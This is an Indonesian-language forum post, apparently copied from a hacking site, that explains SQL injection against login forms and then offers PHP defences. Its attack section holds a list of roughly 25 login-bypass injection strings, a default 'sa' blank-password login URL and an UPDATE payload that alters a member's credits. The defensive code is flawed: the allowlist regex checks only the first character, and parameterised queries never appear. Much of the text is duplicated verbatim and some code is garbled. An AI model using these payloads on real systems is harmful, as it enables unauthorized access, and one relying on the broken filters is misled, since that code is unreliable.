SQL Injection
Halaman 1 dari 1
SQL Injection
Keuntungan yg diambil dari trik ini adalah seperti login akses terhadap server yg bukan haknya atau yg lainnya, tergantung kepada penyerangnya.
Default setting dari SQL adalah :
adminID = sa
password =” (kosong atau blank)
misalnya : http://www.target.com/login.asp?adminID=sa%20password=”%20 artinya menggantikan “jarak spasi” Ini merupakan kondisi yg berbahaya jika pengubahan setting tidak segera dilakukan.
Verifikasi yg dilakukan oleh SQL disaat pemakai memasukkan username dan password adalah seperti yg terlihat pada teks sebagai berikut :
SQLQuery=”SELECT Username FROM Users WHERE Username=”‘&strUsername&”’strpassword&”‘
Contoh : menggunakan injection string ‘OR”= pada username maupun password baik dilakukan dgn metode URL input query string maupun Box input query string maka SQL query akan membacanya sebagai berikut :
SELECT Username FROM Users WHERE Username=”OR”=” AND Password=”OR”=”
Maka yg terjadi adalah SQL query akan menyatakan blank username dan blank password sebagai user yg sah (valid). SQL Injection yg berhasil dilakukan akan ditandai dgn munculnya error page dgn error yg dimunculkan dapat berupa ODBC error, internal server error, syntax error dan lain sebagainya.
Ada banyak variasi dari injection string yg dapat digunakan untuk melakukan SQL Injection :
‘or 1=1–
‘or 0=0 –
‘or ‘x’='x
‘or a=a-
“or 0=0 –
“or 0=0 #
“or “x”=”x
“)or(”a”=”a
admin’–
hi” or 1=1 –
hi’ or’a'=’a
hi”)or(”a”=”a
or 0=0 #
‘or a=a–
‘or 0=0 #
‘having 1=1–
“or 1=1–
“or “a”=”a
‘)or(’a'=’a
‘)or(’x'=’x
hi” or “a”=”a
hi’ or 1=1 –
hi’)or(’a'=’a
or 0=0 –
or 1=1–
Serangan dgn menggunakan SQL Injection dapat lebih bervariasi lagi dan itu tergantung kepada situasi dan tujuan dari serangan yg dilakukan oleh penyerang. Contoh :
‘UPDATE YEPCell_memberDB set Credits=100 wher UserID=’yamakasi’
SQl Injection yg dilakukan seseorg dapat dideteksi dgn menggunakan IDS (Intrusion Detection System). IDS bukan lagi tool yg terlalu asing terdengar ditelinga anda. Anda dapat mencarinya di www.google.com
Default setting dari SQL adalah :
adminID = sa
password =” (kosong atau blank)
misalnya : http://www.target.com/login.asp?adminID=sa%20password=”%20 artinya menggantikan “jarak spasi” Ini merupakan kondisi yg berbahaya jika pengubahan setting tidak segera dilakukan.
Verifikasi yg dilakukan oleh SQL disaat pemakai memasukkan username dan password adalah seperti yg terlihat pada teks sebagai berikut :
SQLQuery=”SELECT Username FROM Users WHERE Username=”‘&strUsername&”’strpassword&”‘
Contoh : menggunakan injection string ‘OR”= pada username maupun password baik dilakukan dgn metode URL input query string maupun Box input query string maka SQL query akan membacanya sebagai berikut :
SELECT Username FROM Users WHERE Username=”OR”=” AND Password=”OR”=”
Maka yg terjadi adalah SQL query akan menyatakan blank username dan blank password sebagai user yg sah (valid). SQL Injection yg berhasil dilakukan akan ditandai dgn munculnya error page dgn error yg dimunculkan dapat berupa ODBC error, internal server error, syntax error dan lain sebagainya.
Ada banyak variasi dari injection string yg dapat digunakan untuk melakukan SQL Injection :
‘or 1=1–
‘or 0=0 –
‘or ‘x’='x
‘or a=a-
“or 0=0 –
“or 0=0 #
“or “x”=”x
“)or(”a”=”a
admin’–
hi” or 1=1 –
hi’ or’a'=’a
hi”)or(”a”=”a
or 0=0 #
‘or a=a–
‘or 0=0 #
‘having 1=1–
“or 1=1–
“or “a”=”a
‘)or(’a'=’a
‘)or(’x'=’x
hi” or “a”=”a
hi’ or 1=1 –
hi’)or(’a'=’a
or 0=0 –
or 1=1–
Serangan dgn menggunakan SQL Injection dapat lebih bervariasi lagi dan itu tergantung kepada situasi dan tujuan dari serangan yg dilakukan oleh penyerang. Contoh :
‘UPDATE YEPCell_memberDB set Credits=100 wher UserID=’yamakasi’
SQl Injection yg dilakukan seseorg dapat dideteksi dgn menggunakan IDS (Intrusion Detection System). IDS bukan lagi tool yg terlalu asing terdengar ditelinga anda. Anda dapat mencarinya di www.google.com
Proteksi Dari SQL Injection
Saya yakin Anda sudah banyak tahu tentang teknik SQL Injection dan sejenisnya. Tapi sebagian dari Anda mungkin masih bertanya-tanya bagaimana cara mengamankan program kita dari teknik SQL Injection ini ?
Sebenarnya banyak cara untuk menangkal teknik ini. Banyak programmer yang sudah membuat rekomendasi bagaimana menangkalnya. Bahkan para hacker juga telah melakukannya. Tinggal kita hendak memilih yang mana. Oh iya, jangan mengira bahwa teknik SQL Injection hanya terbatas pada form login. Sebenarnya teknik tersebut sangatlah luas. Tapi saya tidak akan membahas hal tersebut sekarang. Yang akan saya bahas adalah beberapa teknik untuk mengamankan SQL Injection. Oke, kita mulai !!
Secara umum ada 2 cara untuk menangani SQL Injection. Cara yang pertama adalah “memblokir karakter yang tidak lazim”. Berikut adalah contoh scriptnya :
$check1 = strstr($username,”\’”);
$check2 = strstr($password,”\’”);
if (($check1) or ($check2))
{
echo “Gagal masuk”;
}
else
{
echo “Berhasil masuk”;
}
Saya akan jelaskan script di atas. Mula-mula username dan password di-cek apakah terdapat karakter petik (‘). Jika terdapat karakter petik maka akan muncul pesan “Gagal masuk”. Jika tidak ditemukan karakter petik (‘) maka akan muncul pesan “Berhasil masuk”. Lalu ?? Bagaimana dengan teknik di atas ?. Permasalahannya adalah ada banyak karakter lain yang perlu di-blok selain karakter petik, misalnya karakter $, %, !, *, dan ratusan karakter lainnya. Semuanya harus di-blok satu-persatu. Agak repot bukan ?
Cara kedua untuk menangkal SQL Injection adalah “hanya mengizinkan karakter tertentu”. Ini adalah cara yang paling saya sukai dan direkomendasikan oleh para hacker. Berikut adalah contoh scriptnya :
if ((preg_match(”/^[a-zA-Z0-9 _]/”, $username))
and (preg_match(”/^[a-zA-Z0-9 _]/”, $password)))
{
echo “Berhasil masuk”;
}
else
{
echo “Gagal masuk”;
}
Script di atas saya dapatkan dari seorang hacker. Jadi berterimakasihlah kepada para hacker tersebut =). Saya akan jelaskan sedikit script tersebut. Username dan password akan di-cek apakah sesuai dengan format a-z, A-Z, 0-9, spasi ( ), dan underscore (_). Jika format sesuai maka muncul tulisan “Berhasil masuk”. Tetapi jika ada karakter di luar format tersebut maka akan muncul tulisan “Gagal masuk”.
Sebenarnya masih ada cara yang lain untuk menangani SQL Injection, seperti script berikut ini :
$username = htmlspecialchars($username);
$username = addslashes($username);
Beberapa programmer merekomendasikan script tersebut, tapi terus terang saya tidak begitu menyukainya. Sepertinya kurang efektif. Bagaimanapun, semuanya kembali kepada Anda, mau pilih yang mana silahkan.
Sekian …..
Sumber : Bang Leo
Link : Http://boleh-hacking.com
Sebenarnya banyak cara untuk menangkal teknik ini. Banyak programmer yang sudah membuat rekomendasi bagaimana menangkalnya. Bahkan para hacker juga telah melakukannya. Tinggal kita hendak memilih yang mana. Oh iya, jangan mengira bahwa teknik SQL Injection hanya terbatas pada form login. Sebenarnya teknik tersebut sangatlah luas. Tapi saya tidak akan membahas hal tersebut sekarang. Yang akan saya bahas adalah beberapa teknik untuk mengamankan SQL Injection. Oke, kita mulai !!
Secara umum ada 2 cara untuk menangani SQL Injection. Cara yang pertama adalah “memblokir karakter yang tidak lazim”. Berikut adalah contoh scriptnya :
$check1 = strstr($username,”\’”);
$check2 = strstr($password,”\’”);
if (($check1) or ($check2))
{
echo “Gagal masuk”;
}
else
{
echo “Berhasil masuk”;
}
Saya akan jelaskan script di atas. Mula-mula username dan password di-cek apakah terdapat karakter petik (‘). Jika terdapat karakter petik maka akan muncul pesan “Gagal masuk”. Jika tidak ditemukan karakter petik (‘) maka akan muncul pesan “Berhasil masuk”. Lalu ?? Bagaimana dengan teknik di atas ?. Permasalahannya adalah ada banyak karakter lain yang perlu di-blok selain karakter petik, misalnya karakter $, %, !, *, dan ratusan karakter lainnya. Semuanya harus di-blok satu-persatu. Agak repot bukan ?
Cara kedua untuk menangkal SQL Injection adalah “hanya mengizinkan karakter tertentu”. Ini adalah cara yang paling saya sukai dan direkomendasikan oleh para hacker. Berikut adalah contoh scriptnya :
if ((preg_match(”/^[a-zA-Z0-9 _]/”, $username))
and (preg_match(”/^[a-zA-Z0-9 _]/”, $password)))
{
echo “Berhasil masuk”;
}
else
{
echo “Gagal masuk”;
}
Script di atas saya dapatkan dari seorang hacker. Jadi berterimakasihlah kepada para hacker tersebut =). Saya akan jelaskan sedikit script tersebut. Username dan password akan di-cek apakah sesuai dengan format a-z, A-Z, 0-9, spasi ( ), dan underscore (_). Jika format sesuai maka muncul tulisan “Berhasil masuk”. Tetapi jika ada karakter di luar format tersebut maka akan muncul tulisan “Gagal masuk”.
Sebenarnya masih ada cara yang lain untuk menangani SQL Injection, seperti script berikut ini :
$username = htmlspecialchars($username);
$username = addslashes($username);
Beberapa programmer merekomendasikan script tersebut, tapi terus terang saya tidak begitu menyukainya. Sepertinya kurang efektif. Bagaimanapun, semuanya kembali kepada Anda, mau pilih yang mana silahkan.
Sekian …..
Sumber : Bang Leo
Link : Http://boleh-hacking.com
Halaman 1 dari 1
Permissions in this forum:
Anda tidak dapat menjawab topik
|
|